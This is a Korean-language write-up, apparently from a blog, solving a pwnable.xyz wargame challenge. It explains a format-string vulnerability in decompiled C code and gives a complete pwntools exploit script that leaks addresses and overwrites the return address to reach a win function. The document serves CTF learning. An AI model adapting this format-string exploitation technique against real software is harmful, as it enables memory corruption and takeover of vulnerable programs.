void __cdecl vuln()
{ uint8_t menu; // [esp+8h] [ebp-10h] unsigned int __canary; // [esp+Ch] [ebp-Ch] __canary = __readgsdword(0x14u); while ( 1 ) { printf(&cmd[0x20]); puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit."); printf("> "); __isoc99_scanf("%d", &menu); getchar(); switch ( menu ) { case 1: printf("Name: "); read(0, &cmd[0x30], 0x1Fu); break; case 2: sprintf(cmd, head, &cmd[0x30]); break; case 3: puts(cmd); break; case 0: return; default: puts("Invalid"); } } } |
head
는 "💩 %s" 로, %s 앞에 7바이트가 붙어있는 전체 길이가 9인 문자열이다.
1번 메뉴에서 &cmd[0x30]
에 31바이트 크기까지 입력할 수 있으며, 2번 메뉴에서 sprintf
를 실행하여 cmd
에 최대 38바이트를 쓸 수 있다. 따라서 반복문 초기에 출력되는 &cmd[0x20]
은 최대 6바이트 길이의 문자열을 가리키게 된다.
printf(&cmd[0x20]);
에서 FSB가 발생한다는 점이 눈에 띈다. 하지만 앞서 언급했듯, 인자로 들어가는 문자열은 최대 길이가 6에 불과하다.
cmd
의 상태를 그림으로 나타내 보았다.
cmd[0x20]
을 출력하는 부분에서 FSB를 성공적으로 활용하려면, 위 그림에서 빨간색으로 표시된 10바이트를 NULL이 아닌 다른 바이트로 바꿔 cmd[0x20]
이 사용자 입력을 포함하도록 해야 한다.
해당 10바이트를 수정하려면 그 위치를 스택에 올려야 하는데, 스택에 올릴 수 있는 값은 menu
가 유일하다. 만약 특정 동작을 실행하기 위해 menu
에 1이나 2를 그대로 쓰게 된다면 FSB에서 %n 으로 인해 주소가 1 (또는 2) 인 곳에 그대로 값을 써서 Segmentation Fault가 발생하게 된다. 이를 회피하기 위해 아래와 같은 방법을 사용할 수 있다.
write가 가능한 주소를 p라고 하면,
1. menu
에 (p & 0xFFFFFF00) | 1
값을 입력하여 1번 메뉴를 실행시킨다.
2. 임의의 25바이트 뒤에 1개 이상의 문자들과 %n을 붙인 문자열을 쓴다.
3. menu
에 (p & 0xFFFFFF00) | 2
값을 입력하여 2번 메뉴를 실행시킨다.
4. menu
에 값을 넣을 위치의 주소값을 입력한다. 이 과정이 끝나면 원하는 위치에 1바이트가 쓰여지게 된다.
이는 menu
가 1바이트 자료형이기 때문에 가능하다.
위 과정을 10번 반복해서 빨간색으로 표시된 10바이트를 NULL이 아닌 값으로 대체한 후, 사용자 입력에 FSB payload를 넣어서 win 함수를 실행한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
from pwn import *
import argparse import sys def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def EditName(name:bytes, menu:int=1) : p.writelineafter(b'> ', str(menu).encode()) p.writeafter(b'Name: ', name) def PrepMsg(menu:int=2) : p.writelineafter(b'> ', str(menu).encode()) return p.read() def PrintMsg() : p.writelineafter(b'> ', b'3') return p.read()[:-1] def exploit() : p.writeafter(b'Name: ', b'A'*0x19 + b'%10$p') stack_vuln_ret = int(PrepMsg()[2:10], 16)-0xC log_info('vuln ret = '+hex(stack_vuln_ret)) EditName(b'A'*0x19 + b'%11$p') binary_base = int(PrepMsg()[2:10], 16)-0xA77 win = binary_base + 0x9FD cmd = binary_base + 0x2040 temp = binary_base + 0x2100 log_info('image base address: '+hex(binary_base)) log_info('win = '+hex(win)) log_info('cmd = '+hex(cmd)) log_info('writable address: '+hex(temp)+' (temporary)') EditName(b'A'*0x19 + b'AA%6$n', (temp & 0xFFFFFF00) | 1) PrepMsg((temp & 0xFFFFFF00) | 2) for i in range(10) : p.writelineafter(b'> ', str(cmd+0x20+6+i).encode()) loword = win & 0xFFFF hiword = (win >> 16) & 0xFFFF EditName(b'%' + str(loword-12).encode() + b'c%6$n\x00', (temp & 0xFFFFFF00) | 1) p.writelineafter(b'> ', str(stack_vuln_ret-2**32).encode()) EditName(b'%' + str(hiword-12).encode() + b'c%6$n\x00', (temp & 0xFFFFFF00) | 1) p.writelineafter(b'> ', str(stack_vuln_ret+2-2**32).encode()) p.writelineafter(b'> ', b'0') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = remote('svc.pwnable.xyz', 30010) else : p = process('./challenge') exploit() |
Last update: 2/6/2021
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / J-U-M-P (0) | 2020.01.15 |
---|---|
pwnable.xyz / SUS (0) | 2020.01.14 |
pwnable.xyz / Game (0) | 2020.01.13 |
pwnable.xyz / l33t-ness (0) | 2020.01.13 |
pwnable.xyz / Jmp table (0) | 2020.01.13 |